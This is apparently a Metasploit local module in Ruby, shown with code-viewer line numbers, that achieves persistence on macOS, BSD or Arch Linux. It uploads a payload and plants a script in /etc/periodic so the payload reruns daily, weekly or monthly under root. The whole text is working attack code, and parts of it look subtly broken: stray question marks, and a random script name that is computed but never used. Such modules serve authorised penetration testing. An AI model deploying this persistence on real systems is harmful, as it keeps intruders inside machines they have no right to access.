1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
|
class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Exploit::EXE
def initialize(info = {}) super( update_info( info, 'Name' => 'Periodic Script Persistence', 'Description' => %q{ This module will achieve persistence by writing a script to the /etc/periodic directory. According to The Art of Mac Malware no such malware species persist in this manner (2024). This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux. }, 'License' => MSF_LICENSE, 'Author' => [ 'gardnerapp', 'msutovsky-r7' ], 'References' => [ [ 'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf', 'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/' ] ], 'DisclosureDate' => '2012-04-01', 'Privileged' => true, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DefaultTarget' => 4, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) )
register_options([ OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]), OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script']), OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']), OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file', Rex::Text.rand_text_alphanumeric(rand(6..13))]) ]) end
def check periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
if writable? periodic return CheckCode::Vulnerable "#{periodic} is writable" else CheckCode::Safe "Unable to write to #{periodic}" end end
def write_payload(payload_bin) payload_dir = datastore['PAYLOAD_DIR']
print_status("Detected operating system: #{session.platform}")
fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir
payload_dir += '/' unless payload_dir.ends_with? '/'
payload_file = File.join(payload_dir, datastore['PAYLOAD_FILENAME'])
if upload_and_chmodx(payload_file, payload_bin) print_good "Writing payload to #{payload_file} suceeded" else fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}") end
@clean_up_rc << "rm #{payload_file} " payload_file end
def write_periodic_script(payload_file) periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"
periodic_script_name = (datastore['PERIODIC_SCRIPT_NAME'].blank?) ?Rex::Text.rand_text_alphanumeric(rand(6..13))? : datastore['PERIODIC_SCRIPT_NAME'] periodic_script = File.join(periodic_dir, datastore['PERIODIC_SCRIPT_NAME'])
@clean_up_rc << periodic_script.to_s
if upload_and_chmodx(periodic_script, payload_file.to_s) print_status "Succesfully wrote periodic script to #{periodic_script}. This will execute #{payload_file}." else fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}") end end
def exploit @clean_up_rc = 'sudo '
if target['Arch'] == ARCH_PYTHON print_status 'Getting python version & path.'
python = cmd_exec('which python3 || which python2 || which python')
if python.blank? || !file?(python) fail_with(Failure::PayloadFailed, 'Unable to find python version. ') end
print_good "Found python path #{python}"
payload_bin = "#{python}\n" + payload.encoded elsif target['Arch'] == ARCH_CMD payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw else payload_bin = generate_payload_exe end
payload_file = write_payload payload_bin
write_periodic_script payload_file
print_status("Cleanup command '#{@clean_up_rc}'") end end
|